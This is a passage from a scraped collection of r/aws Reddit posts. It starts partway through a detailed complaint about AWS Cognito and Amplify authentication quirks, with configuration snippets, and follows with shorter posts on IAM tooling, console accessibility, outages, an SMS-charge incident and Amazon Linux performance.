my number into quotes, like this '42' [custom attribute number-string](https://preview.redd.it/gll1f7sbsmn61.png?width=938&format=png&auto=webp&s=ad1460fb8c315f5dba73a23276c7d743d6ebf770) All you have to do is **wrap your number into quotes** \- `'42'`, in other words convert your number to a `string`, so that you can use a `number` type for your custom attributes 👍 What the `number` type actually means is - they try to parse your `string` input as a `number` and if it fails, it throws an error. You then are responsible to parse the `string` into a `number`, for your conditional checks all throughout your application code. ## Default behavior >**Cognito docs/console**: Custom attributes can be defined as string or a number > >**CDK / Cloudformation docs**: Custom attributes can be Boolean, DateTime, Number or String ## Proposed behavior >Custom attributes are of type **string**. We provide a `number` constraint, which tries to **parse your string input as a number** and if it fails, it throws an error. You are then **responsible to parse the string into a number** for your conditional checks. At least this time they throw errors and don't silently decide how to handle things. Anyway, let's move on. ## Amplify Auth's bundle size So I just finished building a website, and I ran some checks to analyze my bundle size. I was very surprised to see that the bundle size for my `next.js` application was approximately `~400Kb gzipped`. That's huge, I don't that many external libraries so I started investigating. It turns our `300Kb gzipped` of my `400Kb` were from the module `@aws-amplify/auth`. They were including the same library named `bn.js` like 7 times - [github issue](https://github.com/aws-amplify/amplify-js/issues/7570#issuecomment-767639192) https://preview.redd.it/8bhttyajwmn61.png?width=1919&format=png&auto=webp&s=8711f471feaa1331d6a7eeaaeed1d22443acc280 Initially I thought that's only 6 instances of `bn.js` being bundled, but **if you look closely**, **there's a cheeky 7th instance in the right top corner** of the node\_modules section. Well this is a little annoying, but it's being worked on by the amplify team, [thanks, Eric Clemmons](https://github.com/aws-amplify/amplify-js/issues/7570#issuecomment-788405226)! Update from 17.03.2021, it seems that this issue has been [fixed](https://github.com/aws-amplify/amplify-js/issues/7570#issuecomment-790050205) by the Amplify team! I have not had the chance to try it out yet(it was fixed today), but the issue was closed. ## Unverified emails of users registering with Google / Facebook OAuth >I'm going to warn you OAuth with Cognito and Amplify is the worst, so if you have to implement it, prepare mentally. * Everyone who ever implemented OAuth with Cognito and Amplify You **need your users to have their email verified**, because, otherwise you can't use **Forgot Password** and some other functionality: &#x200B; [reasons to verify emails](https://preview.redd.it/q27wg8eysmn61.png?width=1336&format=png&auto=webp&s=e9bdf8adb9ac3eb9dc06cdfce0c4413410605529) So on your site you provide a functionality for users to register with **Google** or **Facebook** OAuth. Have you ever seen an implementation where you make the users who sign up with **Google** or **Facebook** confirm their email? No? Ok, that's the first one. The [default behavior with cognito](https://github.com/aws-amplify/amplify-js/issues/5117#issuecomment-604729707) is: >Amazon Cognito did state by default they assume that any email/phone number they get from the result of a federated sign up or sign in is not verified so they do not set any values for the attribute for the user. Another note, the returned attribute from the IdP also has to have the value be set to the string ""true"" in order for us to set email\_verified to true So by default they assume that **facebook and google emails are unverified**. How secure, they don't verify the email of facebook/google users by default, right? But their email change functionality is broken, so it's neither here nor there. Notice how he also noted that the custom attribute has to be set to the `string` **""true""**, I guess I'm not the only one getting confused about `string-booleans` and `string-numbers`. In my opinion, if the **user has access to a google/facebook account** with the email `john-smith@gmail.com`, then both accounts - the cognito native and facebook/google should be with **email\_verified set to true**. Let's look at **how we can verify the email of a user who registered with Facebook and Google**. >Spoiler alert, it's going to be kind of difficult and **DIFFERENT**, between the different OAuth providers. ## Verify a Google registered user's email Let's start with **Google**. You would think that the best way to verify a user's email, would be in the `pre-sign-up Lambda` trigger. You check **if the user who's trying to register comes from an external provider Google**, if they do, you know that they're the owner of the email so you set their email verified property to true. According to the [docs](https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-lambda-pre-sign-up.html#aws-lambda-triggers-pre-registration-example-2), you can verify the email something like: // Set the email as verified if it is in the request if (event.request.userAttributes.hasOwnProperty('email')) { event.response.autoVerifyEmail = true; } The only problem is that [autoVerifyEmail doesn't work with identity Providers](https://github.com/aws-amplify/amplify-js/issues/5287) Unlucky, buddy, so close. Anyways eventually you figure it out, you have to provide an attribute mapping between Google's `email_verified` attribute and cognito's `email_verified` attribute. this.identityProviderGoogle = new cognito.UserPoolIdentityProviderGoogle( this, 'userpool-identity-provider-google', { // ... other config attributeMapping: { email: { attributeName: cognito.ProviderAttribute.GOOGLE_EMAIL.attributeName, }, custom: { email_verified: cognito.ProviderAttribute.other('email_verified'), }, }, }, ); Problem solved, Google was easy money, let's now look at how we can verify a Facebook email, you kind of assume it would be the same for Facebook right? Well, you assume wrong, because Facebook doesn't have an `email_verified` attribute. ## Verify a Facebook registered user's email Facebook doesn't keep state of an `email_verified` property. So you try your best, but you don't succeed, you start to look around for solutions on the internet. Let's look at the [proposed solution from the cognito team](https://github.com/aws-amplify/amplify-js/issues/5117#issuecomment-663011185) for verifying a Facebook registered user's email: >Amazon Cognito invokes Post Authentication trigger after signing a user, allowing you to add custom logic after authentication. Until the feature is released, you can update ""email\_verified"" attribute using ""AdminUpdateUserAttributes"" API in a Post Authentication trigger which you have already implemented. Please note once the user has sign-up, **this trigger will be executed for every future successful sign-in**. Needless to say the `""feature""` of automatically verifying Facebook user emails never got released. When you try to verbalize all this, it starts making sense - >In order to verify the email of a user who registered with Facebook, you have to add a Post Authentication lambda trigger. The trigger runs every time the facebook user logs in, and verifies their email, now I understand 👍 You would think this makes no sense, why don't you just use the `Post Confirmation` trigger, which runs only after a user has successfully been registered? Well because you'd get a [race condition](https://github.com/aws-amplify/amplify-js/issues/5117#issuecomment-661546722) leaving your application in a silently broken state. ## Default behavior >The emails of users who registered with Google / Facebook are not verified by default. ## Proposed behavior >Flip the boolean folks, please. Ongoing **feature** request for flipping a boolean shouldn't take a year, right? ## Cognito / Amplify OAuth - Linking native to external users When you provide both OAuth and email registration functionality, a user might register both ways - with their email and with their google account. So how do you think cognito handles this by default, I mean surely **you wouldn't want to have 2 users in your user pool with the same email**. That **would be very confusing** for the user, they log with their email and add an item to their cart, then they log on their phone with google with the same email, and the item is not in the cart. As you might have guessed **cognito doesn't handle this at all**, and the **default behavior** is you just have users with the same email that are **not related** to one another. Can you think of a use case for a **user having 2 accounts with the same email**? No? Ok. In cognito your **email account** might have attributes X,Y,Z and **Google**, or **Facebook** might not have those attributes on the user object. How would you handle that behavior for your users with 2 separate accounts with the same email in your application. Let's think about this. Scenarios 1 and 2: 1. User has already registered with cognito native and now they create a **Google** account, with the same email, we should: * If there is an email that is equal to the email of the Google OAuth account in the User Pool - `Link those accounts`. * verify their email, if the user has access to Facebook account with email `john@gmail.com`, then they own that email. 1. User registers with **Google**, we should: * Create the **Google OAuth** account in the User Pool * Create a **native cognito user** \- email account * Link those accounts * Verify the email Now you **don't have 2 accounts for the same email** and **can use user attributes** across the different authentication providers - it's a no-brainer. You can **manage** user properties in your app, i.e. **shipping address, city, country, preferences**, etc, that you can't access from their google account. This also allows us to enable reset password functionality, in case the user forgets and tries to log in with their email address, everything just works. Wouldn't it be nice for everything to just work? >You don't use a managed auth service to have to implement everything yourself. Why is the default behavior to always delegate to the developer. The only good reason I can think of to not have your accounts with the same email linked by default is if you don't trust the identity provider requires email validation, that's their excuse - security. If the Identity Provider doesn't require email validation, then I could register with an email I don't own - i.e. [**bob@gmail.com**](mailto:bob@gmail.com) , I would come register in your application and steal bob's account, because I got linked to it automatically. Well **fortunately for us**, **both Google and Facebook require email validation**, so I'm leaning more towards the cognito team just couldn't bother. ## Default behavior: >You have 3 SEPARATE, UNRELATED accounts with the email [bob@gmail.com](mailto:bob@gmail.com) \- a native cognito account, a Facebook account and a Google account. ## Proposed behavior: >If a user registered with Google and they have a Cognito email account - link those accounts. > >If a user registered with Google and they don't have an email account, create the google account, create an email account and link those accounts. I'm not going to get into how they handle email change functionality for linked accounts, we saw that they don't handle it for isolated email registered accounts, so I don't feel like beating a dead horse, if you have to implement it - unlucky buddy. ## OAuth registration with Amplify The first time a user registers with an OAUTH provider they get an error: [oauth registration error](https://preview.redd.it/u0ktxfg9umn61.png?width=1546&format=png&auto=webp&s=9de1befd2ff30c7be9bd6444b6d638c94983cb85) Error: **Error handling auth response. Error: Already+found+an+entry+for+username+Google\_...** You start looking for a solution and you see some of the issues and hundreds of the developer hours lost: 1. [Cognito Auth fails with ""Already found an entry for username""](https://stackoverflow.com/questions/47815161/cognito-auth-flow-fails-with-already-found-an-entry-for-username-facebook-10155) 2. [Integrate facebook/google login to userpool](https://github.com/aws-amplify/amplify-js/issues/5036) 3. [Unable to log in first-time Cognito User Pool users after a recent change](https://forums.aws.amazon.com/thread.jspa?threadID=267154) And then you see the AWS Employee (it's in link number 3): &#x200B; [their plans](https://preview.redd.it/9dkye6fhxmn61.png?width=768&format=png&auto=webp&s=0a5aa32972835be49ed912fc07340a13187ae8fe) >Our plans are to provide built-in support for linking between ""native"" accounts and external identities such as Facebook and Google when the email address matches. > >We do not provide timelines for roadmap items, but I will tell you this is an area under active development. **3 years** later this feature still hasn't been added. Legend has it this feature is still under active development, same as the change email bug fix. Can't give you a timeline right now, but know that if it takes this long it's gonna be good 👍 Anyway, the way to handle this error is to catch it on your redirect route, i.e. your `/` route and handle the error, by starting the OAuth flow again, and opening the OAuth window: const Home: React.FC = () => { const router = useRouter(); useEffect(() => { if ( router.query.error_description && /already.found.an.entry.for.username.google/gi.test( router.query.error_description.toString(), ) ) { handleGoogleLogin(); } else if ( router.query.error_description && /already.found.an.entry.for.username.facebook/gi.test( router.query.error_description.toString(), ) ) { handleFacebookLogin(); } }, [router.isReady, router.query.error, router.query.error_description]); // rest... }; Hopefully they don't change their error messages because my brittle code would break instantly, unlucky buddy. ## All the small things - Amplify's error throwing Speaking of error messages, **Amplify throws all kinds of error types** and signatures which is very unfortunate, because you have to catch these errors. * Sometimes they `Promise.reject` with a string, like in their `currentAuthenticatedUser` method: [current authenticated user error](https://preview.redd.it/26yc1fdpumn61.png?width=605&format=png&auto=webp&s=b3c8d4cfad9738e2f9c037180adf1288d328d5cc) * Sometimes they throw an **object** that is not instance of `Error` (Error is a function type in JS), like in their `updateUserAttributes` method: [update user attributes error](https://preview.redd.it/1wa2psfsumn61.png?width=1028&format=png&auto=webp&s=5297c3bc56fdbcba2e5bf6018f80b9a1b07bf431) * Most of the time they throw an instance of `Error` I try so hard to catch them all, but in the end I have to read their source code. You kind of **expect to get an error** of the **same type** from the same package. Otherwise **you have to check for everything** all the time. They throw instances of Error 95% of the time and the just randomly sprinkle misc error types here and there. ## Default behavior: >They throw various types of errors which bloats your catch block and leads to unhandled errors and bugs ## Proposed behavior: >Please, just throw the same error type consistently ## The random unexplained errors These are the errors you get and you can't reason about, because they make no sense whatsoever, you look at the clock, 5 hours have passed, you've made 0 progress, you're sweating profusely and have had too much coffee, now you won't be able to sleep and you'll have to think about cognito and amplify the whole night. I'm only going to include 1 of these errors, because they kind of are all the same, not very interesting, once you encounter them you start googling around, if you find something - nice, if you don't - unlucky buddy. When you have users register with OAuth providers, you can enable attribute mappings. I.e. the Google account `first_name` attribute to be mapped to Cognito's `first_name` attribute. There's this attribute `preferred_username`, and when you map it using Google as OAuth provider, it works: this.identityProviderGoogle = new cognito.UserPoolIdentityProviderGoogle( this, 'userpool-identity-provider-google', { // other stuff.. attributeMapping: { preferredUsername: {attributeName: 'email'}, }, }, ); The same attribute mapping, but for Facebook: this.identityProviderFacebook = new cognito.UserPoolIdentityProviderFacebook( this, 'userpool-identity-provider-facebook', { // ... other stuff attributeMapping: { preferredUsername: cognito.ProviderAttribute.FACEBOOK_EMAIL, }, }, ); The only problem is you can't use the facebook mapping, it's bugged and causes an error: [preferred username error](https://preview.redd.it/7kkyjw50vmn61.png?width=1027&format=png&auto=webp&s=02bfe54517eb74826188fc432294a7791669c135) Error: errordescription=attributes+required&error=invalid\_request I would have preferred, if the `preffered_username` attribute mapping didn't throw a **cryptic error** for no reason, but it is what it is, five hours later I figured it out. There are other causes for this error as well, so best believe the select few that encounter it are in for a treat. ## End Believe it or not there are other things I didn't include in this post, but no one is probably going to read the whole thing so I won't bother. I use a **MANAGED** auth service to boost my productivity, well it's NOT working. Spending hours and hours debugging / implementing common sense ""features"" that should be the default behavior doesn't boost your productivity very much. My **intent with this article is not to mock/offend anyone**. My **goal is to hopefully see some of these problems fixed** in the future. If these teams are understaffed, hopefully they get money to hire more people. I've spent hundreds of hours learning these services, so if I were to cut my losses, these are some significant losses I'd have to cut. I've tried to be as objective as possible, **I don't work for a competitor**, I don't have a dog in this race, if cognito and amplify improve - my development experience improves. If I've misunderstood/misrepresented something it was not intentional and if you correct me, I'll update the article. If you made it this far, pat yourself on the back, hopefully you're more prepared when you encounter one of these issues. **Thank you for reading!** Also how has your experience been with **Cognito** and **Amplify**?",borislav_hadzhiev,360,68,1616007318,/r/aws/comments/m77p5g/aws_cognito_amplify_auth_bad_bugged_baffling/,https://www.reddit.com/r/aws/comments/m77p5g/aws_cognito_amplify_auth_bad_bugged_baffling/,self.aws,True,,,,, rdfvoh,aws,"A software engineer at Amazon had their total comp increased to $180,000 after earning a promotion to SDE-II. But instead of celebrating, the coder was dismayed to find someone hired in the same role, which might require as few as 2 or 3 YOE, can earn as much as $300,000.",,Mcnst,358,236,1639162979,/r/aws/comments/rdfvoh/a_software_engineer_at_amazon_had_their_total/,https://www.teamblind.com/blog/index.php/2021/12/09/why-new-hires-make-more-money-existing-employees/,teamblind.com,False,,,,, mlfbcw,aws,I built a tool which automatically suggests least-privilege IAM policies,"I'm building iam-zero, a tool which detects IAM issues and suggests least-privilege policies. It uses an instrumentation layer to capture AWS API calls made in `botocore` and other AWS SDKs (including the official CLI) and send alerts to a collector - similar to how Sentry, Rollbar, etc capture errors in web applications. The collector has a mapping engine to interpret the API call and suggest one or more policies to resolve the issue. I've worked with a few companies using AWS as a consultant. Most of them, especially smaller teams and startups, have overly permissive IAM policies in place for their developers, infrastructure deployment roles, and/or services. I think this is because crafting truly least-privilege IAM policies takes a lot of time with a slow feedback loop. Trying to use CloudTrail [like the AWS docs suggest](https://aws.amazon.com/premiumsupport/knowledge-center/troubleshoot-iam-permission-errors/) to debug IAM means you have to wait up to 15 minutes just to see your API calls come through (not to mention the suggestion of deploying Athena or running a fairly complex CLI query). Services like IAM Access Analyser are good but they are not very specific and also take up to 30 minutes to analyse a policy. I am used to developing web applications where an error will be displayed in development immediately if I have misconfigured something - so I wondered, what if building IAM policies had a similar fast feedback loop? The tool is in a similar space to [iamlive](https://github.com/iann0036/iamlive), [policy\_sentry](https://github.com/salesforce/policy_sentry/), and [consoleme](https://github.com/Netflix/consoleme) (all of which are worth checking out too if you're interested in making AWS security easier) but the main points of difference I see are: * iam-zero can run transparently on any or all of your roles just by swapping your AWS SDK import to the iam-zero instrumented version or using the instrumented CLI * iam-zero can run continuously as a service (deployed into a isolated AWS account in an organization behind an SSO proxy) and could send notifications through Slack, email etc * iam-zero uses TLS to dispatch events and doesn't include any session tokens in the dispatched event ([AWS Client Side Monitoring](https://summitroute.com/blog/2020/05/25/client_side_monitoring/), which iamlive utilises, includes authentication header details in the event - however iamlive is awesome for local policy development) My vision for the tool is that it can be used to give users or services zero permissions as a baseline, and then allow an IAM administrator quickly review and grant them as a service is being built. Or even better, allowing infrastructure deployment like Terraform to start with zero-permissions roles, running a single deployment, and send your account security team a Slack message with a suggested least permissions role + a 2FA prompt for a role to deploy the infrastructure stack. iam-zero is currently pre-alpha but I am hoping to get it to a stage where it could be released as open source. If you'd be interested in testing it or you're having trouble scaling IAM policy management, I'd love to hear from you via comment or DM. Any feedback is welcome too. Live demo: [https://www.loom.com/share/cfcb5c20ede94f3d9214abbd28fa7921](https://www.loom.com/share/cfcb5c20ede94f3d9214abbd28fa7921) https://preview.redd.it/yx5lzel0ekr61.png?width=2676&format=png&auto=webp&s=90294cc62267d9ddd3604f347d02fe54c2d9a38b",humanafterall27,353,30,1617725763,/r/aws/comments/mlfbcw/i_built_a_tool_which_automatically_suggests/,https://www.reddit.com/r/aws/comments/mlfbcw/i_built_a_tool_which_automatically_suggests/,self.aws,True,,,,, h09wl5,aws,"Dear AWS, stop ruining the freaking console UI [rant]","*I need to get this off my chest, and since this is one of the few places online where people that might share my view on this might see it, I figured it's a good place to go off.* *If someone from AWS is actually reading this, please pay special attention to the last bit on accessibility, because I'm pretty sure most of the frustration is due to that.* Dear AWS, please STOP ruining the console UI! I'm not the kind of person that hates change just cause I'm stubborn. If you were improving it, power to ya, but you're not. You are busy making the experience worse. I guess I should thank you because I've been telling coworkers for years to use the CLI and that it's better, and now you are going out of your way to prove my point and drive people there. But sometimes it's just simpler to view a dashboard or play around with a new service using the console. Well, it used to be. Your transition over to the new UI aren't even smooth on some services. Take EC2 for instance. You rolled out the new look for the Autoscaling section, but most of the time when I navigate there I get the old UI with an error message. When I reload the page, the new UI loads and I can see my resources. Next, CloudWatch Logs. WHY THE HECK WOULD YOU MAKE IT LESS USER-FRIENDLY!? Usually you go to view logs when stuff is broken, often production systems, which is stressful enough. Now you've gone and changed the UI and made it worse. Something as stupid as switching between viewing logs as ""Text"" vs ""Row"" is now in a sub menu in a drop down, why? That leads me to my next point, sub menus and drop downs. Everything is in a collapsible element. That's freaking annoying. Sometimes you want to copy some text to share with a colleague, but as soon as you click to highlight, the blooming thing expands or retracts and moves the element. Ultimately you can do what you want to do, yes, but it takes longer. In high paced, high pressure environments, crap like that is something no one needs. It's one thing to make something look better, but most people that uses AWS don't care about looks. We want functionality and ease of use. It can look like a dog's breakfast for all we care, it just has to work!! **Accessibility** As I said at the start, I'm sure most of my frustrations is because you are making the UI less user-friendly for people with vision problems. You are making it harder for me to do my job, and I really don't need anyone to do that. The old UI was basic, simple, and it was really clear where one section ended and another started. There was less collapsable elements and hidden menus. Yes, sometimes you had to scroll till your fingers went numb, but at least it didn't require clicking on 4 different little arrows and two sub-menus to get to the info you want. I highlight text that I want my screen reader to read out loud. But it feels like 70% of the time I try that technique with the new UI it doesn't work. The text is either some kind of link or action button that opens a collapsable element, or the reader doesn't pick it up as text. Now I know the first response to that last one will be ""maybe your screen reader is the issue."" But why then is it only on your website? I don't know what kind of UI framework you use, but it's not very accessibility-friendly. It's pretty much impossible to read text in a table. It either doesn't read, or it reads the entire table, no matter which cell I'm highlighting. The worst part is that you're now using this same thing for your documentation pages. I'm basically losing my mind cause I can't read the freaking docs! Then there is the moving of buttons and options and inconsistent UI's. I'm not talking about the UI being inconsistent across services, it's always been like that. That's something I learned to love about the old UI. I'm talking about something like the Lambda console. Select a function and navigate to the ""Configuration"" tab. All the config sections are full screen-width blocks, except the X-Ray one. In addition to the screen reader, I use a screen zoom function. So I don't see the whole screen. So I basically scrolled up and down and up and down in search of the X-Ray section, thinking I'm not seeing it. Only to find out, nope, that one config block is sitting on the right side of the page, outside the view of the zoom. Again, you could say that's not your problem, but it kinda is. If all the configs were side-by-side, I would be hovering left to right all the way down the page. The moving of buttons is one of those things that make me want to scream. With the old UI, most of the action buttons is on the left hand side at the top. Now you moved it to the right, but not on all pages. Why? Why would you move something just for the sake of moving it? ""It looks better there."", no it doesn't. It looks the same, it's just orange instead of blue and on the right instead of the left. Most people don't know this, but people with vision problems don't read all the menus/buttons. They memorize button names, link text, and the placement of it to speed up their workflow. Now I basically have to start over. And finally let's get to colors, fonts, and shadows. The old UI, again, was basic. Black text on a white page, when highlighted it was substantially bolder, and when on a button it was Bol white text on a dark blue background. Here and there there was a menu with white text on black backgrounds. Now everything is a much more modern font, which is thinner and harder to read when highlighted since it doesn't get much bolder. Some pages have colors that are so light that's impossible to see white text, and pages are so busy to cram all the info into a single view, that everything just feels cramped and the font feels smaller. I can go on, but I'd be pretty surprised if anyone made it this far. I also feel a bit better now, even though as soon as I navigate away from here I'm going back to the console and that kinda sucks. As I said, I'm not a person that hates change. You updated the Support Center to have the new UI, and apart from the fact that I can't use my screen reader to read the table with all the open cases, it's nice. There's not much wrong with that page and you did a good job there. It's still user-friendly, even for me. Yeah the font/color issue is there too, but other than that. I'm not the kind of person to just bitch and moan about something and not do something about it. This rant must sound like me bitching and moaning, and honestly, if I was allowed to use all the cuss words that came to mind, it probably would sound more like a rant. But I am willing to help wherever I can to help you improve the console experience. If I have to submit all my suggestions or take screen recordings to explain my situation, I'd gladly do that. I'm just not going to do it if it's going to get ignored. Rather ignore this then. PS: It's not just AWS that's making this mistake. Even the folks here at Reddit made that mistake with their new look. It's impossible for me to use with my assistive technologies, so I'm still using the old UI. Yeah it looks like something that was created 20 years ago, but it works, and that's what matters.",aws_stuff,353,146,1591792206,/r/aws/comments/h09wl5/dear_aws_stop_ruining_the_freaking_console_ui_rant/,https://www.reddit.com/r/aws/comments/h09wl5/dear_aws_stop_ruining_the_freaking_console_ui_rant/,self.aws,True,,,,, 148mwol,aws,US-East-1 down for anybody else?,"502s on the console, lambdas not getting resources. Uh oh",[deleted],351,256,1686682976,/r/aws/comments/148mwol/useast1_down_for_anybody_else/,https://www.reddit.com/r/aws/comments/148mwol/useast1_down_for_anybody_else/,self.aws,True,,,,, q0m97j,aws,What Wonderful Times We Live In,"Caveat - not a technical post or question so much as a sort of love letter to the Cloud. I'm 57 years old and I've been working in the data space for the last 25 years. My first database build was a tactical database in 1990 in dBase III when I was in the Air Force. From there I graduated to Sybase and then to SQL Server. Along the way I've picked up everything from Oracle to SQLite to MongoDB. This weekend I'm working on a project that involves processing a 10GB json file and databasing it. If I had tried to do this on my MacBook, my laptop would have laughed at me, before it died. Instead, I put in a spot request on AWS and ended up completing the project in about an hour for about $1.10. To the folks who've grown up in a cloud first world, this might not seem like a big deal. But even having worked in AWS for five years now, this to me still feels a bit miraculous. Twenty five years ago, if you wanted to say, learn how to build a Linux cluster, you'd buy a book (a very large, heavy book which invariably cost $70) and plow your way through it. And, of course, it didn't do you much good unless you had access to the hardware (and software) to practice on. Learning an other than open source language meant, again, the obligatory doorstop tome and shelling out shekels for an SDK. In 2021, an afternoon of youtube and some AWS cloud, storage and compute is enough to become well versed in a new skill. This old dog learns new tricks every day....to me thats still miraculous.",Nostraseamus,351,41,1633281649,/r/aws/comments/q0m97j/what_wonderful_times_we_live_in/,https://www.reddit.com/r/aws/comments/q0m97j/what_wonderful_times_we_live_in/,self.aws,True,,,,, ilhhwk,aws,168 AWS Services in 2 minutes,,xelfer,349,76,1599087038,/r/aws/comments/ilhhwk/168_aws_services_in_2_minutes/,https://www.youtube.com/watch?v=BtJAsvJOlhM,youtube.com,False,,,,, pbne2k,aws,"A leaked Amazon document shows the maximum compensation a recruiter is allowed to offer some programmer job candidates, up to $715,400",,markcartertm,348,179,1629934735,/r/aws/comments/pbne2k/a_leaked_amazon_document_shows_the_maximum/,https://www.businessinsider.com/leaked-document-amazon-salaries-job-offer-715400-2021-8,businessinsider.com,False,,,,, qvm23y,aws,Hidden AWS Console Dark Mode,"Hello fine folks, I found a little gem in the aws console cookie. Navigate to [console.aws.amazon.com](https://console.aws.amazon.com), open the chrome dev console, and navigate to the Application -> Cookies section. You should see an entry for ""awsc-color-theme"", default value being ""light"". Just change this to ""dark"" and refresh! https://preview.redd.it/alucgdj5t1081.png?width=853&format=png&auto=webp&s=49028e4c47a12f82b5be954f38dcc4ddfd20975b",SPRShade,342,46,1637107735,/r/aws/comments/qvm23y/hidden_aws_console_dark_mode/,https://www.reddit.com/r/aws/comments/qvm23y/hidden_aws_console_dark_mode/,self.aws,True,,,,, 1k2kwfy,aws,Help AWS Cognito/SNS vulnerability caused over $10k in charges – AWS Support won't help after 6 months,"I want to share my recent experience as a solo developer and student, running a small self-funded startup on AWS for the past 6 years. My goal is to warn other developers and startups, so they don’t run into the same problem I did. Especially because this issue isn't clearly documented or warned about by AWS. About 6 months ago my AWS account was hit by a DDoS attack targeting the AWS Cognito phone verification API. Within just a few hours, the attacker triggered massive SMS charges through Amazon SNS totaling over $10,000. I always tried to follow AWS best practices carefully—using CloudFront, AWS WAF with strict rules, and other recommended tools. However, this specific vulnerability is not clearly documented by AWS. When I reported the issue to AWS their support suggested placing an IP Based rate limit with AWS WAF in front of Cognito. Unfortunately, this solution wouldnt have helped at all in my scenario because the attacker changed IP addresses every few requests. I've patiently communicated with AWS Support for over half a year now, trying to resolve this issue. After months of back and forth, AWS ultimately refused any assistance or financial relief, leaving my small startup in a very difficult financial situation... When AWS provides a public API like Cognito, vulnerabilities that can lead to huge charges should be clearly documented, along with effective solutions. Sadly, that's not the case here. I'm posting this publicly to make other developers aware of this risk—both the unclear documentation from AWS about this vulnerability and the unsupportive way AWS handled the situation with startup. Maybe it helps others avoid this situation or perhaps someone from AWS reads this and offers a solution. Thank you.",b3nni97,341,81,1745025798,/r/aws/comments/1k2kwfy/help_aws_cognitosns_vulnerability_caused_over_10k/,https://www.reddit.com/r/aws/comments/1k2kwfy/help_aws_cognitosns_vulnerability_caused_over_10k/,self.aws,True,,,,, d0hlt0,aws,Every AWS customer ever. . .,"Day 1 ""We're not going to rely on AWS specific features."" 3 months later ""OK, we need to use SQS, Lambda, ECS and DynamoDB but that's it!"" 6 months later ""OK, we're an AWS shop.""",tech_tuna,336,94,1567781127,/r/aws/comments/d0hlt0/every_aws_customer_ever/,https://www.reddit.com/r/aws/comments/d0hlt0/every_aws_customer_ever/,self.aws,True,,,,, 5wphqj,aws,Amazon S3 and Amazon SES are down,"As of 17:40 UTC, verified on us-east-1. Lots of people affected. Posting here in case anyone's wondering. Reports of EBS being down as well. Update 17:52 UTC from amazon: >We are investigating increased error rates in the US-EAST-1 Region. Update 18:16 UTC from amazon: > We've identified the issue as high error rates with S3 in US-EAST-1, which is also impacting applications and services dependent on S3. We are actively working on remediating the issue. Update 18:33 UTC from amazon: > We're continuing to work to remediate the availability issues for Amazon S3 in US-EAST-1. AWS services and customer applications depending on S3 will continue to experience high error rates as we are actively working to remediate the errors in Amazon S3. Update 19:35 UTC from amazon: > We have now repaired the ability to update the service health dashboard. The service updates are below. We continue to experience high error rates with S3 in US-EAST-1, which is impacting various AWS services. We are working hard at repairing S3, believe we understand root cause, and are working on implementing what we believe will remediate the issue. Update 20:41 UTC: I'm starting to see services coming back online. Update 21:12 UTC from amazon: > S3 object retrieval, listing and deletion are fully recovered now. We are still working to recover normal operations for adding new objects to S3. Update 21:39 UTC: I'm starting to see PUTs coming back online. Update 22:00 UTC: Most PUTs look like they are back online for me. Update 22:08 UTC from amazon: > As of 1:49 PM PST, we are fully recovered for operations for adding new objects in S3, which was our last operation showing a high error rate. The Amazon S3 service is operating normally. https://status.aws.amazon.com/ ~~Edit: I just want to say, that status page is stupidly useless. Green checkmarks all the way in the middle of all of us-east-1 being down and the console being inaccessible.~~ Edit 2: RED checkmarks on the status page. This is a historic moment.",Adys,334,372,1488304453,/r/aws/comments/5wphqj/amazon_s3_and_amazon_ses_are_down/,https://www.reddit.com/r/aws/comments/5wphqj/amazon_s3_and_amazon_ses_are_down/,self.aws,True,,,,, rocp33,aws,Mods: Can we get a sticky post telling anyone that visits this sub to setup MFA/lock down root creds/setup billling alerts/etc.?,"As per the title. Everyday I step into this sub and see a post about someone getting ""hacked"". Until AWS makes this default, at least newcomers can be reminded when they visit.",BagOfDerps,331,51,1640449752,/r/aws/comments/rocp33/mods_can_we_get_a_sticky_post_telling_anyone_that/,https://www.reddit.com/r/aws/comments/rocp33/mods_can_we_get_a_sticky_post_telling_anyone_that/,self.aws,True,,,,, ya0bl3,aws,Dark Mode Console has finally arrived,"Announcement: [https://aws.amazon.com/about-aws/whats-new/2022/10/dark-mode-support-aws-management-console/](https://aws.amazon.com/about-aws/whats-new/2022/10/dark-mode-support-aws-management-console/) Looks pretty good too, just tried it out",Akustic646,331,34,1666375508,/r/aws/comments/ya0bl3/dark_mode_console_has_finally_arrived/,https://www.reddit.com/r/aws/comments/ya0bl3/dark_mode_console_has_finally_arrived/,self.aws,True,,,,, txwnvr,aws,Announcing AWS Lambda Function URLs: Built-in HTTPS Endpoints for Single-Function Microservices,,shadowsyntax,328,35,1649280208,/r/aws/comments/txwnvr/announcing_aws_lambda_function_urls_builtin_https/,https://aws.amazon.com/blogs/aws/announcing-aws-lambda-function-urls-built-in-https-endpoints-for-single-function-microservices/,aws.amazon.com,False,,,,, rm7bkd,aws,"Amazon’s AWS face third outage this month, affecting Slack, Epic Games Store, Asana, and more – HA Bytes",,Habytes,327,123,1640186351,/r/aws/comments/rm7bkd/amazons_aws_face_third_outage_this_month/,https://thehabytes.com/amazons-aws-logs-third-outage-this-month/,thehabytes.com,False,,,,, ec1t04,aws,"FYI - In the spirit of transparency, stepping down as a mod","Happy and sad news. It's been fantastic to see this sub grow and thrive over the last few years; growing from 25k members to over 100k! I've learned a ton and had some great experiences. However I've recently taken a job at AWS and this makes me feel conflicted about staying on as a mod in this community. Its hard to leave but I feel that mod duties like approving posts/comments, tagging posts, organizing events, etc should ultimately be handled by the community to remove any suspicion of bias. Please reach out to [**u/Pi31415926**](https://www.reddit.com/user/Pi31415926/) if you would like to help out. See you in the clouds!",ckilborn,323,43,1576616051,/r/aws/comments/ec1t04/fyi_in_the_spirit_of_transparency_stepping_down/,https://www.reddit.com/r/aws/comments/ec1t04/fyi_in_the_spirit_of_transparency_stepping_down/,self.aws,True,,,,, rp80z9,aws,"When AWS says that the Amazon Linux kernel is optimized for EC2, they're not kidding","Just thought I'd share an interesting result from something I'm working on right now. Task: Run ImageMagick in parallel (restrict each instance of ImageMagick to one thread and run many of them at once) to do a set of transformations (resizing, watermarking, compression quality adjustment, etc) for online publishing on large (20k - 60k per task) quantities of jpeg files. This is a very CPU-bound process. After porting the Windows orchestration program that does this to run on Linux, I did some speed testing on c5ad.16xlarge EC2 instances with 64 processing threads and a representative input set (with I/O to a local NVME SSD). Speed on Windows Server 2019: ~70,000 images per hour Speed on Ubuntu 20.04: ~30,000 images per hour Speed on Amazon Linux 2: ~180,000 images per hour I'm not a Linux kernel guy and I have no idea exactly what AWS has done here (it must have something to do with thread context switching) but, holy crap. Of course, this all comes with a bunch of pains in the ass due to Amazon Linux not having the same package availability, having to build things from source by hand, 